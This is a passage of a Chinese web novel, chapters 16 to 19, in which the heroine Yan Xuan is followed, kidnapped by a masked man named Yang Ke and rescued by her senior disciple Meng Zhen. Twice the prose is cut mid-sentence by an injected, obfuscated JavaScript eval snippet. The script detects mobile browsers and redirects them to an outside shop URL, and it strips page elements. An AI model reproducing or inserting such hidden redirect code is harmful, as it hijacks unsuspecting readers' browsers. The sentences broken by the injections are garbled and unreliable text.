p>“是吗?我观你面色红润有光泽,吐息正常,身体康健得很。” “不许说了。”梅玉彦抬手推了推晏璇,“看戏。” 晏璇笑意满盈,抓了一把桌上的瓜子,边嗑边探头向楼下望去。 梅玉彦望着她的侧脸暗叹一声,臭丫头自己说的话早就忘了,他何必再提。 戏台搭在一楼正中,底下围着不少男女老少,角落里三三两两坐着几个劲装男子,双目炯炯,不像听戏的像是看着听戏的。 “梅哥哥,这纤云坊是什么时候开张的?”晏璇问道。 “大约是五年前。” “缪掌柜可是本地人?” “据说是南塘那边迁过来的。” “南塘啊,江南水乡,怪不得长得那般好看。” “你做什么对人家这般感兴趣?”梅玉彦端起茶壶给她倒了一杯茶,略带疑惑地望着她。 晏璇捧杯浅喝一口,茶汤甘润,香味四溢,确是好茶。 “我往日里都在深山学艺,没见过掌柜这般漂亮雅韵的姐姐,好奇也没什么。” 话落,只听一道娇媚的笑声响起,晏璇眼前多了一盘玫瑰酥糖。 缪飞星在一旁凝眸浅笑:“得小姐青睐乃缪娘之幸也,往后可要多来纤云坊坐坐。” “一定一定。”晏璇眯眼笑道。 随着鼓声渐响,戏台四周升起烟雾,好戏终于拉开了帷幕。 晏璇嗑嗑瓜子喝喝茶,实则对戏文并无甚兴趣,她侧头见梅玉彦左右张望,问道:“梅哥哥,在看什么?” 梅玉彦摸着下巴,犹疑道:“我好似看见了我嫂嫂。阿璇,你等我一下,我去看看。要真是嫂嫂,她一定想跟你多聊会。” “哦,那你去吧。” 梅玉彦起身,向着楼梯口走去。待他往下,一个身披玄色披风的男子正拾级而上,后面跟着三个高大的随从。梅玉彦侧身让道,那人的视线缓缓从他身上掠过。 晏璇坐到窗口,支起半扇窗子,窗外人流不息,再远一些能看到城中的绿柳湖,前两日她还去坐了游船。 她不禁想起在雾山做的那个怪梦,不管过程怎样,她到底是回了家。如今一家人难得聚在一起,她总要待两三个月才会回去看望师父。至于孟珎,她走时一句话没留,也不知他那半个闷葫芦脑袋会不会在生她的气,即便生气,晏璇都能想象那张故作冷淡的脸上会露出什么表情,顶多说她两句就老气横秋地嘱咐这不该那不好的。 她怎么此刻才觉得那人跟自己娘亲似的,晏璇低声笑出了声,摇着头觉得荒唐。忽然,她感到一道目光落在身上,下意识转头去看。 那人站在楼梯口不远,目光如炬直勾勾地盯着她,见她转身,嘴角微动,似乎在竭力强忍着什么。 晏璇敛了笑容自然背身坐下,她悄悄在桌下探手,摸到了腰间的百宝袋。背后那道视线仍停留在她身上,仿佛被虎狼盯上的压迫感令她有些背脊发凉。 她勾了勾嘴角,这人最好别耍什么不该耍的,不然她很乐意对方来试个药。 不一会儿,梅玉彦就回来了,他皱了皱眉道:“当真是我看错了?只是背影有些像的女子。” 晏璇趁势打了个哈欠:“梅哥哥,我有些累了。” 梅玉彦见她脸色有些发白,知道她最近一直辛苦忙着炼药,点头道:“好,那我送你回去。” 两人付了茶钱,一前一后向外走去。那人坐在靠栏杆处,双手捧着茶盏,尖刻的眼神从杯后望来。即将交错而过之际,晏璇微微抬眸,余光一扫,随即泰然的跟梅玉彦下了楼。 男人放下茶盏,先是一声轻笑,然后止不住闷笑,笑得肩膀都耸动起来。 “主子。”随从们面面相觑。 “我道姓陆的在斛县藏了什么宝贝。原来,原来如此啊,他可真是给了我好大一惊喜。” 杨恪望着楼下晏璇离去的方向,眼中闪过癫狂。 “盯着那个女的,抓到别院来。” “是!” 17. 第 17 章 室内幽暗,几个大小不一的药炉上还冒着汩汩热气。 小荷推开半掩的门进来,反身习惯性地关门。 “就那样开着,小心中毒。”晏璇合上手边的小札,用纱布擦着几根泛紫黑色的银针,抬头嘱咐了一句。 “中毒?”小荷歪歪头,皱眉不解,待看到案桌上几个花花绿绿的团子,笑问,“小姐,在搓点心?” “点心?确实……算是给某些人准备的小‘甜点’。”晏璇扬了下眉。 擦拭完银针,晏璇又用热水烫洗了三遍,直至恢复光泽擦干放入针包。她望了眼窗外天色,灰蒙蒙的似有一场小雨等着。 “东西都准备好了吗?一会,拿上伞。”说着,晏璇把药丸一一放入颜色不同的瓷瓶装好封口。 小荷点点头:“好了。” 两人从家中出发,向着闹市方向走去。晏璇戴上了帷帽走在前头,小荷则提着一个木盒并一把油纸伞跟着身后,一路上仍有些附近的住户投来打量的目光。听说晏家在外养病多年的女儿回来了,他们不禁好奇她是个什么模样。 “瞧那背影,弱质纤纤,长得定然不差。” “那帽檐下的纱都厚成什么样了,你见过?就这般肯定。” “我虽没见过,可城东范家的见过,范家小子都不介意做上门女婿了,这还不能肯定?” “范家入赘?倒是有点意思,可谁也说不准这里头没点别的东西。” “我同你讲晏家女,你同我讲生意,无甚意思。” “……” 那些窃窃私语的调侃断断续续传进晏璇的耳朵,她偏头瞥了一眼,随即正了正头上的帷帽。此处民风开放,女子出门并没有那么多规矩,可今日带着帷帽挡了这些惹人厌的也好。 两人快行到街头拐弯处,晏璇脚步微顿缓了下来,透过面纱向后望去,街上是零零散散的普通路人,街边摊铺也没什么异常,她却总觉得有道似有若无的视线落在后头。 晏璇脚尖微抬,转了方向,往左边的街口走去。 小荷快走两步,道:“小,小姐,不去看戏了?” 她明明记得纤云坊在右边的闹市旁。 晏璇笑笑:“咱们先去吃个饭。” 两人再次来到宝仙楼,这会的伙计认出了晏璇,平日里麻溜的顺口话都不好意思说了,只亲切地唤她“小姐”。 “小姐,您想吃点什么?” 晏璇想了想道:“芙蓉蒜虾不错,就要这个。今天不喝酒,只要一壶茶。” “好勒。” 晏璇把玩着桌上的花神杯,低头向着窗外的街景望去。 【小九,刚刚你有没有发现有人跟踪我们?】 小九同她一样朝向窗外:【宿主,暂未发现异常。】 晏璇轻扣了两下桌面:【一会,你小心留意。】 很快,晏璇点的菜便好了,伙计还另添了一盘茶点。 这道芙蓉蒜虾,她爹为了它盘下整间店,她到底要来尝几口,那般美味的话为何她却没什么印象。 晏璇夹了一筷子,眼睛则不经意向酒楼门口扫上两眼。 鲜嫩紧致的虾肉,配以焦香的蒜蓉,这一入口满嘴留香,确实回味无穷。晏璇细嚼慢咽,感受着浓郁的鲜甜味。她点点头,这个口感是她喜欢的,至于为什么去了雾山后没再想起,她摸了摸下巴想,大略是因为那儿有个手艺不输酒楼大厨,每天三餐换着样投喂她的家伙。 这两天,她是越发想起孟珎的好来了。 晏璇吃了两口便不再吃,看着小荷将一盘虾肉一扫而光。 “吃饱了?”晏璇笑看她。 “饱了。”她拍了拍微鼓的肚子,问她,“小姐,不吃?” “因为适度的饥饿可以令我保持清醒。” 小荷又是不解地望着她,晏璇拿过身侧的帷帽:“走了,有人等久了。” “哦。”小荷抱过桌边的木盒,立刻跟在她身后。 出了宝仙楼,两人朝来时的反方向而去。街市上人流不断,晏璇故意朝人多的地方走,要不是小荷跟得紧,一个转身可能就不见了人。 晏璇:【小九,那人现身了吗?】 小九站在她的肩上向后观察:【宿主,有!真的有,有两个人鬼鬼祟祟的,躲在路边旗幡后一直往这里偷看。】 跟了整整一路,这是铁定要找她麻烦。 晏璇想起下山时孟尧对她说的话,师父不愧是师父,她这清净的日常怕不能够了…… 进了纤云坊,缪飞星一眼看到了晏璇。 莲步轻移,一举手一投足便是风情,她嘴角噙着笑走过来:“今儿,晏姑娘一个人来听戏?” 昨日来时,她不过是梅玉彦的一个友人,今日来对方就知道她姓什么了。 都说有人的地方就有江湖,晏璇是没想到这小小斛县也能藏龙卧虎。 她提唇笑了笑,从袖口中摸索一番,露出方形木牌的一角。缪飞星神色一顿,透过面纱将她来回打量,晏璇又将木牌有字的一面翻过,微微露出,等缪飞星瞧了个正着,她便将牌子又放回了袖中。 “纤云弄巧,飞星传恨。不知,我可有资格入姐姐的飞星阁一坐?”晏璇轻声道。 缪飞星凝视她两眼,笑道:“晏姑娘,楼上备有香茗,请吧。” 晏璇和小荷很快被引到了二楼一间雅室。 一扇紫檀山水画屏隔断内外,小荷被留在外间喝茶,晏璇则拿着那个小木盒进了内室。 室内接待的并非缪飞星,而是另有其人,一个披着发穿着白袍的中年男子。 那人看着晏璇递过去的刻着“岐”字的木牌,问道:“姑娘姓晏?” 晏璇点点头,现下她想瞒也瞒不了的。 “此前阁主一直在找玄先生,可后来连来阁中的晏公子也失了踪迹,那位可是姑娘的兄弟?” 晏公子? 晏璇愣了下问道:“你是指去送药那位?” 男子点点头。 师兄为何要说自己姓晏?晏璇心中疑惑,面上恍然道:“哦,确实是家兄。” “哎,真是踏破铁鞋无觅处,不想在斛县能见到玄先生的门人,此药来得太及时了!” 好吧,她和孟珎全成了她自己的门生。晏璇浅笑:“可是有人急等用药?” 男子顿了顿,眼神闪了两下落到别处,顾左右而言他:“玄师可是现今难得的药师,他的药一药难求。” 晏璇又是一愣,她的药何时水涨船高的?不过,既然他这么说,加价的事就好谈多了。 大约半炷香的时间,晏璇拍着腰间的百宝袋和小荷走出了纤云坊。 小九忍了有一会,跳到她肩头:【宿主,你怎么知道这里是品贤阁的地盘?】 晏璇:【品贤阁不是有专人搜寻宝贝?在雾山时,我叫师兄打听过他们在别处的据点。】 小九:【系统为何没有印象?】 晏璇瞥了它一眼:【你除了督促我行善还会些什么?快帮我看看,刚那两人是否还跟在后头。】 晏璇和小荷即将走过闹市,前面有几条小巷,巷口可是危险 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13165086|138094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高发地带。 小九“哗”的从她的左肩蹦到右肩:【宿主,他们还在,你要小心了。】 晏璇哼道:【像我们这样的人,也就只能自救了。】 小九:【……】宿主在嫌弃它。 等快走到第一个巷口的时候,晏璇突然停下。 小荷问:“小姐,怎么了?” 晏璇摸了摸肚子,向闹市那边张望了下,道:“我觉得有些饿了。小荷,你帮我去那边买些点心,若是梅花酥饼最好,要是没有别的也成,我就在这里等你。” “哦,那小姐拿伞,我,去去就来。”小姑娘把油纸伞塞到她手里,转身跑向闹市,几步之后还回头向她招了招手。 傻丫头还知道下雨怕淋着她,那她更不能将她带到危险中去了。晏璇弯了弯嘴角,缓步走向巷口,侧身靠在墙头,仿佛只是望着闹市在等人。 大概是屏息静气的缘故,晏璇一下子感受到了背后有人靠近。颈侧突地伸过来一只手,一块绢布蒙住了她的口鼻,带着一股奇异的怪香。头上的帷帽被撞落在地,身后人一手拦腰将她往巷子深处拖,一只手捂着帕子紧紧不松。 真是有够劣质的迷香! 晏璇垂着的左手拇指使劲掐了一下指尖的伤口,鲜血淌过衣袖洇下一大块痕迹。她假意抓挠挣扎了两下便泄了力气,手脚瘫软下去。 那人将她转了个身扛在肩头,低喝一声:“走!” 另一个劲装男子从巷口窜入,两人脚下生风,飞快将晏璇运至一处僻静院落。 前后不过半盏茶时间,晏璇就来到了一个完全陌生的地方。 有人将她放置在一张靠椅上,拿绳索绑住了她的手脚。她歪着头,全然不省人事的模样。 过了不一会,有几道凌乱的脚步声渐近。 有一人停在她身前端详了片刻,突然伸出手用力钳住她的下颌摆正了她的脸。这人指骨粗大,下手蛮横,显然是一个男人。 在晏璇的十几年人生中,认识的人寥寥可数,她不觉得自己得罪了谁,当然这世上确实也存在一些人,你没有做错,他却要攀咬上来和你扯上关系。 眼下,晏璇有九成的把握确定了面前这人就是纤云坊里瞥见的那个男的。问过系统,果然如此。 一个男人绑架一个女人,会是因为什么? 为财?此人身穿上等锦袍,出行有随从,钱财不是问题。为权?她晏璇根本没有。为色?不是她妄自菲薄,以她的颜色还够不上令人念念不忘,最重要的还是她没在那人眼中看到欲望,她感受到的是对方无来由的愤怒以及压抑这股愤怒而起的兴奋。 所以,这人为何要抓她?因为恨意。 为何恨她?因为连她自己都未知的过去。 在晏璇下山的时候,师父曾对她说过,她并不是简单的被父母遗弃,没有父母遗弃孩子还会对她下毒的,只有仇人才会这么做。她没有死,那便是漏网之鱼,只要她下山,总会遇见的。 晏璇没想到,师父所说的会来得这么快。 她的亲身爹娘……她还没有勇气开口去问。 就在晏璇思绪混乱不堪之际,一瓢冷水“哗”的泼在她脸上,水滴顺着她的发丝、脸庞逐渐往下落,衣衫的领口被浸透紧贴在身上。 她听到男人低沉阴寒的声音:“泼,直到她醒过来为止。” 晏璇:有本事你拿硫酸泼我! 小九:【宿主,冷静!我们现在是将计就计。】 晏璇:我很冷静。 小九:完了,宿主的怒气值要冲天了。 18. 第 18 章 晏璇这辈子只待过两个地方,斛县和雾山,在哪她都没受过什么委屈。 爹娘眼里她被其他小伙伴“孤立”都不是事,她不会和小朋友计较。如果系统没有出现,她大概就是听天由命,是五岁?十岁?还是十五?她做好了离开的准备。 在最初的世界,她出生于一个普通职工家庭,父母只有她一个孩子,他们的生活简单温馨,除了她每年要上很多次医院。努力撑到了上学的年龄,一次呛了水得了肺炎人就没了。 接下来,她去到了一个官宦之家,她爹是当地的一个小官。也是从这个世界开始,她从小有了意识,脑子里带着上个世界的记忆。她有些惶恐,觉得自己异于常人是个怪胎,爹娘的孩子多,对体弱多病的她并不在意,加上对古时生活的不适应,没过五岁她就离开了那个世界。 再之后,她又接连去了几个科技比较发达的现代社会。记忆不断的累加,她的惶恐变成了另一种害怕,这种害怕又伴生出麻木。死去很容易,活着却不是她努力就行的。 她做过许多人的女儿,短暂而无聊的一生,不断索取而自责的一生。既然每次相伴的缘分浅短,晏璇渐渐不再在意这段亲缘。 遇见晏时蕴和卢晚茵,大概是她几辈子幸运的事。晏璇曾暗示他们再生养一个健康的孩子,卢晚茵只当她太过懂事,红着眼跟她保证不会有其它孩子。晏璇有点为难,他们对她越好,积累的感情在分离后没有变成慰藉,反而会成思念的枷锁,可正因为他们的好,她想多活几年。 世界上的人大部分都想活得长久些,晏璇为这个目标付出是必然的。有系统的协助,这条路走得太顺,她不知命运的坑早就挖好了。 当得知自己是收养的,她愣了很久。 为什么?她不是伤心,只是不懂,为了一个非亲生的孩子他们怎么能做到那种地步?师父说,这是超越血缘的父母之爱。 她鲜少流泪,除了儿时神志不清控制不住,第一次感到心口酸疼得厉害。原来她活了几辈子,还是有渴望的东西的。 她没在第一时间提出身世问题,是逃避,是害怕,害怕自己是个扫把星。如果她的亲生父母也和晏爹他们一样,很爱她却只是遭遇不测了呢?现在麻烦真的找上门来了,这些年自己忍受过的病痛也在叫嚣,她不得无动于衷。 脸上又被泼了三瓢水,浇灭了一条咸鱼想要安分的心。 晏璇皱了皱眉,颤着眼睫缓缓睁开了眼睛,眼角滑落的水珠混着因眼眶刺痛溢出的泪水,淌着水痕的脸庞有着泫然欲泣的脆弱。她的脸本就白,被人这番折腾,更衬得她纤弱可怜。 上半身已经湿透,晏璇垂着脸,失了神般定定地瞧着自己的脚尖。 小九没见过她这般狼狈,忙安慰道:【宿主,忍一会,先套套这人的话。】 晏璇在心底嗤笑,一个经历过无数次死去活来的人,不要指望她精神有多正常。 对付疯子,那就是比他更疯。 杨恪眯了眯眼,掐住晏璇的下巴迫使她抬头。晏璇依旧耷拉着眼皮,视线里是男人覆着面具的下半张脸。 欲盖弥彰。 杨恪眉眼微沉:“她……为何这副样子?” “这,这属下也不知。主子,她中的只是普通迷香。”是之前将晏璇绑来的黑衣随从,他左跨一步,垂首战战兢兢道。 “主子,听闻晏家女一直疾病缠身,这更像是什么病症发作?”另一人观察了晏璇两眼道,“她目光呆滞,好像是,像是癫……” 晏璇转动了下头,发出“咔哒”的轻响,双眼无神抬起,直愣愣盯着前方。 “真的有病?”男人伸出手掌在她眼前晃了晃。 晏璇一脸木然。 “也是,在肚子里的时候就吃了不少好货,怎么可能是个正常人?” 男人从喉间哼出一声:“当初在老头子的眼皮底下,怎么让你活下来的?” “活,死……死?活。”晏璇呢喃。 “是啊,为什么他们都死了,你还活着呢?” 他抬手拂过晏璇沾湿的眉毛,像是为她描画了一遍。 “你看你,偏偏长了这副眉眼,老头子不会放过你的。我该不该先送你一程,让你们全家团聚?” 晏璇的眼珠被他来回揉搓按得生疼,她不得不闭上眼,否则怕不是要被他抠瞎。 “知不知道你爹娘是谁?” “爹?娘?晏、晏……” 男人闷笑两声,摸着她的头道:“对,对,好孩子,你爹就是那个姓晏的,不是那个一脸蠢相的书呆子。” 晏璇重新睁开眼:“书呆子……是谁?” “是个骗人感情,毫无担当的废物!”男人突然吼道。 凑这么近喊什么,你是躁狂症吗? “神经病,耳朵疼。”晏璇嗡嗡了两声。 男人面具下的眼神幽暗:“你说什么?” “疼,疼啊……” “疼?疼就对了。”男人的手圈住她的喉咙抚了两下,“有的人死就死了,可感到疼的永远是活着的人。” 晏璇抿了抿嘴,扭动了下身体表示不耐,眼神似恢复了几分清明,眨了眨眼看向身前之人。 娥眉微蹙,嗓音低柔,少女问男人:“你是谁?” 那年的男人站在木槿树下,立如芝兰玉树,他笑着答道:“杨恪,杨子敬。” 此刻,男人放在晏璇颈间的手逐渐用力,痛恨道:“要你命的人!” 小九急得大喊:【宿主!】 昏暗的窗边闪过几道刺目电光,雷声在远处响动。 晏璇奋力抬起脚尖撞在男人的小腿上,银针入体,他被踢得一愣,瞬间整个人僵住,手上失力松开了对晏璇的钳制。 “我说疼,很疼啊,王八蛋。” 晏璇一低头便狠咬住他的手掌,没留半分余力,很快嘴里就尝到了血腥味,不够,还远远不够,晏璇继续磨咬伤口。 杨恪痛得嘶叫,愤而甩手,可晏璇迟迟未松口,他抬起另一只手就要掌掴她。 耀眼的电光再次亮起,轰鸣的雷声下,紧闭的房门被人从外面“哐”一声破开。门框摇坠,久未打扫的屋内尘灰飞扬,有一道白色身影迅速窜入,直向杨恪袭去。 电光火石间,黑衣随从一拥而上:“保护主子!” 晏璇松了嘴,趁乱侧身一翻滚,打算闭眼迎接冰冷的地面。然而,眼前仿佛有幻影晃过,银铃叮叮,在落地前有一只手穿过她腰际将她一把抱住,晏璇整张脸被埋在此人坚硬的胸膛上,鼻尖是淡淡的药香味。 随着这个不速之客的回身一掌,杨恪在众随从的护卫下连退数步。 “是谁?”杨恪大喝。 晏璇感觉腰间的手紧了紧,她有些愣愣地抬头去看,就听头顶传来熟悉的冷厉嗓音:“路见不平,拔刀相助。” 那人向来漠然的脸庞此刻像结了层寒霜,冷峻无比,黑亮的眼眸满是戾气:“你们是一个一个上,还是一起上?” 杨恪咬了咬牙,盯了眼他胸前的晏璇:“拿下!” 一人护着杨恪,三人展开渔网之势向他围攻而去。 他的指尖滑过一柄飞刀,不过三寸长,划开晏璇身上的绳索后,被他两指衔着射向其中一名随从。 他带着晏璇一跃,又从袖口飞出两柄飞刀,分别向另外两人的腿部和胸口打去。 本来形成的包围之势被打乱,来人的轻功 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13200795|138094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分明在三人之上,仅一个移形换影,下一把飞刀堪堪从杨恪的耳际掠过,几缕发丝飘落,男人的眼眸瞬间燃起怒火。 “主子,这家伙武功不凡,不好对付。” 杨恪捂着受伤的手掌,鲜血像是止不住般浸透了绢帕。他气得双臂微抖,沉声道:“我不信他有使不完的刀,叫上外面所有的人,将他困死在这!” 闻言,晏璇在身前人的腰间拧了一把,抬头做了一个口型。 男子会意,不动声色接过晏璇递过来的一颗药丸。指尖聚力,药丸瞬间变齑粉,他借内力向着没有防备的几人挥手一撒。 “主子,小心有毒!” 随着随从的一声大吼,男子抱着晏璇几个纵跃,逃离了这间院落。 “往东走。”晏璇窝在他的胸口,恹恹道。 “嗯。” 淅淅沥沥,街上飘起了小雨。最终,两人停在一户人家的檐下避雨。 “他们不会追来,歇一会。” 晏璇扶着他站稳,屏息抬眸去看,远在雾山的人怎么就这样出现在了眼前? “师兄……” “师妹。”孟珎微吐了口气,从身上掏出一块帕子递给她擦脸,又将她从头到尾打量了一遍。 当瞥见晏璇衣袖上的血迹,孟珎神色一凛,焦急问道:“是哪里受伤了?” 被人挟持没觉得什么,被眼前人一关心反倒有些眼热。晏璇凝望着他,平复下略微杂乱的心跳,摇摇头道:“没有,你怎么会在这?” “我,奉师父之命去南塘,路过,顺便来……看看你。” 晏璇见他脸上有些微疲色,平时用木簪随意束的发也利落地绑在脑后,背上更是斜背着一个青色小包袱,他说出行不假。可是南塘和斛县虽都在南边,却不顺路……更凑巧的是,他恰好出现救了她。 晏璇“哦”了一声,感觉鼻头一痒忍不住打了个喷嚏。 孟珎解开行李,从里面拿出一件干净外衫,披在她肩头。 “我现在就送你回去。” “等等。”晏璇按住孟珎的手背,“师兄,我想先跟你说些话。” 孟珎抿了下唇,他来这所求不过是见她一面,她若安好便好,没什么好奢求的。无论她说什么,他都会去听。 “好。” 方才一切发生的突然不得多想,现在听晏璇说完,惊得孟珎瞪着她不知说什么好。 假如他没有迟疑早早离开了斛县,假如他晚了一步,假如他技不如人,他不敢再想…… 孟珎紧握了拳:“要是那人真对你……” 晏璇没说自己故意被抓,只说意外。她微微笑道:“他费尽心机找到我,必不会简单了结我。况且,我身上藏了药,关键时刻不会让他得逞。” 她说得轻松,可每一步都很凶险,凡事瞬息万变,谁都不能预料结果。孟珎无奈道:“你又不听师父的话。” “怎么没听?我惜命得很。” “那你说说这个药,是不是伤敌一千自损八百?” “才不是。师兄,我回家这些日子没把炼药的功夫落下,到时给你看看我新制的药。” “……好。” “师兄。” “嗯?” 晏璇突然倾身,将头抵在孟珎肩下。 孟珎身体一僵,抬起的手虚虚环在晏璇身后,听得她闷闷的声音响起:“我……没有父亲母亲了。” 孟珎胸口震颤,这种落寞、被抛下的酸楚,他在多年前已经尝够。他伸手轻轻抚着晏璇的脑后,像是无声安慰一只小动物。 他在心里说道:你还有很爱你的晏伯父晏伯母,还有林叔,还有师父。 还有我…… 19. 第 19 章 不断飘落的雨丝渐急形成雨幕,雨帘后的青瓦灰墙,长着青苔的石板路,在雾气中朦胧一片。檐下一口青石莲花缸,水珠滴落,在水面上荡漾开一圈圈涟漪,翠绿鲜嫩的金银莲随之微微晃动,如此白雨天,仿佛回到了那年初见后不久的夏日。 窗外雨水倾泻,竹林飘摇,竹叶发出的脆响掩住了屋内灶膛内柴火的哔剥声。孟珎将做好的膳食端上桌,又从水缸里舀了三瓢水倒进锅里,留作他用。 孟尧轻拍掉身上沾上的雨珠走进屋内,他往里瞧了眼,道:“小丫头呢?来到山上这些日子,别的没见她多感兴趣,每日里想的就是你今天又做了些什么吃的。” 孟珎手下的动作一顿,转头往窗外望去,这一场夏雨从初晨开始就没停过。 “那傻孩子莫不是在等她爹娘?”孟尧想了想道。 “师父,我去看看。” 孟珎走向屋门后,这里原本挂着一件蓑衣和两把竹伞,眼下却只剩下一把。他拿起剩下的这把伞撑开,推开门步入了雨中。 孟珎向着下山必经之路走去,远远的,大松树下立着一个穿蓑衣戴斗笠的小人。那棕色的蓑衣穿在她身上,过于肥大似是将她整个人都包裹住。 孟珎走近两步,喊她:“师妹。” 晏璇正眺望云海,听见声音转过头来:“师兄。” “师父等你回去用饭。这么大的雨,他们……应该不会上山的。” 前些日,晏家夫妇来信要来雾山,估算着日子,今日该到了。可是雨一直下,上山的路不好走,孟珎想他们这会并不会上山。 晏璇听罢,点了点头笑道:“师兄说得对。可是我爹,脾气怪。哎,我便等一等,看他是不是淋成个落汤鸡。” 孟珎:“……” 他皱了下眉,瞥见树下靠着另一把竹伞。 “师兄,你快先回去。”晏璇向他挥了挥手。 不过两三句话,说得上气不接下气的,经过师父两个月的医治,她还算好了些。奇怪的体质,罕见的病症,会无故出现在一个普通人家的孩子身上吗?孟珎在心中摇头,他与那对夫妻有过几次简单照面,竟觉得晏璇其实长得与他们并不像…… 这样的念头一起,脑中仿佛被猛锤了一下,孟珎飞快瞥了一眼晏璇,发现她仍是望着山下,忙垂眸敛下了眼里的惊诧。 不久,他从袖口掏了掏,拿出一个小纸包递了过去。 晏璇疑惑,接过纸包拆开,里面是两块桂花饴糖,有淡淡的桂花清香飘出。 孟珎捏了下伞柄,轻道:“早膳没见你吃什么,先垫下肚子吧。” “哦。”晏璇小掰了一块丢进嘴里,含含糊糊,“唔……师兄你不吃吗?” 孟珎摇摇头:“都给你。” 一尝到甜的,晏璇的情绪明显高涨起来。 “好吃,比起斛县的梨膏糖差了一点。” “啊,这个我也喜欢的。师兄,谢谢你的糖呀。” “师兄是喜欢桂花吗?” “雾山的景真美啊。” “……” 和着风声和减弱的雨声,孟珎有时答一句有时低头未语,撑着伞陪着她看云海涌动,一直到下方的山道上出现了三个戴斗笠的身影。 …… 急来的阵雨终归要停。 孟珎收回思绪,从腰间取下一个荷包递给晏璇。 她拢了拢披着的外杉,单手接过:“这是什么?” “你喜欢的。” “我喜欢的?” 她喜欢的东西可多,不知这小小的袋子里藏了什么宝贝。晏璇笑着望了眼孟珎,解开袋口,里面衬有一张油纸,掀开油纸,包裹着的是几颗微黄的糖果。 “是梨膏糖?” 晏璇拣了一颗含着,甜而不腻,慢慢融开的梨糖水滋润了被掐后微痛的喉咙。 “师兄什么时候买的?”晏璇问。 “路过店家,见到就买了。” 晏璇不记得有哪家单卖这糖的,偏偏他就买了这个。 她想起往事,佯装疑惑道:“师兄怎么不买桂花糖?” “你……现在不喜梨膏糖了?” 孟珎一脸意外,眼中有着失落的无措。晏璇盯了他片刻,在他差点说出下次买桂花糖前,忍着笑意摇了摇头。 “喜欢,不过,偶尔尝尝桂花糖也好。” 孟珎微叹了口气,袖中的手指捏了又捏,耳后爬上一丝薄红。 “好吃吗?”他问。 晏璇点头:“当然。” “那就好,雨停了,我送你回家。” 微湿的青石板路上,孟珎背着晏璇一步步走在巷子里,不远处几个披着琥珀衫的人在靠近。 孟珎脚步一停,刚想转身换道,只听对面众人中传来一声大喊:“阿璇?” “师兄,是梅哥哥。”晏璇拍了拍孟珎的背,小声道。 梅哥哥…… 孟珎顺势将她放下,见一高大男子推开随从们,疾走几步上前,看见一旁的晏璇呼出一口气:“真的是你。” 那人视线扫过,一双探究的眼眸对上孟珎冷峻的面容。两人无声互相打量,一个心头微沉,一个若有所思。 “梅哥哥,你怎么在这?”晏璇问。 “你这坏丫头,还问?要是再找不着你,你那丫头要哭出一片海。”梅玉彦气得瞪她。 “啊,小荷没事吧?她现在在梅哥哥那儿?” “要不是我在街上碰到她,也不知她要像个无头苍蝇找你到什么时候,到底发生了什么?” 孟珎看了眼晏璇发白的侧脸,打断道:“说来话长,还是先回去。” “哦,忘了问候,这位是?”梅玉彦抬手,行了个礼。 晏璇指了指双方,介绍道:“这位是我的师兄,孟珎,这位是我小时候的邻居哥哥,梅玉彦。” 话毕,孟珎无声回了个礼。 晏璇暂时不想打草惊蛇,心思一转朝梅玉彦道:“梅哥哥,麻烦你来寻我了。我不小心遇见个骗子,非拉我去买什么稀有玉石,多亏遇到顺路的师兄把人吓唬跑了。” 孟珎:“……” 他拧眉冷瞥她一眼,晏璇朝他勾了勾嘴角,神色不改地把话编圆了。 这两人……梅玉彦微挑了眉,视线在他们之间来回转悠,这位年纪与他相差不大的男的怕不是就是他这位好妹妹未说出口的哥哥…… 见晏璇确也安然无恙,梅玉彦没再追问,其他的都可以稍后说。只是,他仍是忍不住敲了她的脑袋:“买玉石?这都能被骗。果真是光长个子不长心眼。” 眼看梅玉彦的手又要落下,孟珎抬手一挡,侧着身冷声道:“走吧。” 梅玉彦轻咳一声,习惯性掏出他的梅花折扇,“唰”的打开:“听孟兄的。” 说完,他摇着扇子,朝晏璇抬抬下巴,仿佛在问这男人是个怎么回事。 晏璇撇撇嘴不多解释,这人做了商人脑袋精得很。至于孟珎,好久没见他对自己冷脸了,刚才她撒了谎还吃了一记眼刀,大意了。 几人到了晏家,小荷也被梅玉彦的人送了回来,小丫头见了晏璇一把将她抱住,不说话就是猛掉眼泪。 她抱得那么紧,眼泪一直落在晏璇肩头将她的衣服洇湿,晏璇感受到她害怕情绪里的一丝无助,伸手一直抚着她的背说着:“没事,没事……” 梅玉彦摇着头微叹,像这样的主仆场面,他也就只在晏家看到了。 “小彦,谢谢你帮忙找到阿璇。”卢晚茵松了口气道。 梅玉彦不敢邀功,忙道:“卢姨客气,我没怎么出力,还是多亏了这位……孟兄弟,阿璇的师兄相助。” 晏时蕴和卢晚茵知道了晏璇是谁找到的,对梅玉彦的帮忙当然也心存感激。他们看着静立在一旁的孟珎,当年一脸桀骜的少年如今也是长身鹤立、持重沉稳的大人了。 孟珎向来一副不欲多言的模样,对于晏家夫妇的感激,也只道“师妹回来就好”。 晏家夫妇邀请孟珎在晏家停留一晚再赶路,孟珎没有拒绝。 晏璇回屋泡了个热水澡,换上了干净衣裳,同品贤阁交易的票据多亏提前让小荷带在了身上,不然这番动静不知道会丢到哪去。 她坐在梳妆台前,用布巾绞干头发。细白的脖子露出,两个红色的指印也显眼异常,还好之前一直用衣衫挡着。 晏璇从自己的简易药箱里翻了翻,找出一瓶化瘀的药膏,手指沾了一点药涂抹在伤处,等完全吸收了,她又拿出她娘给她备着的香粉遮了遮。 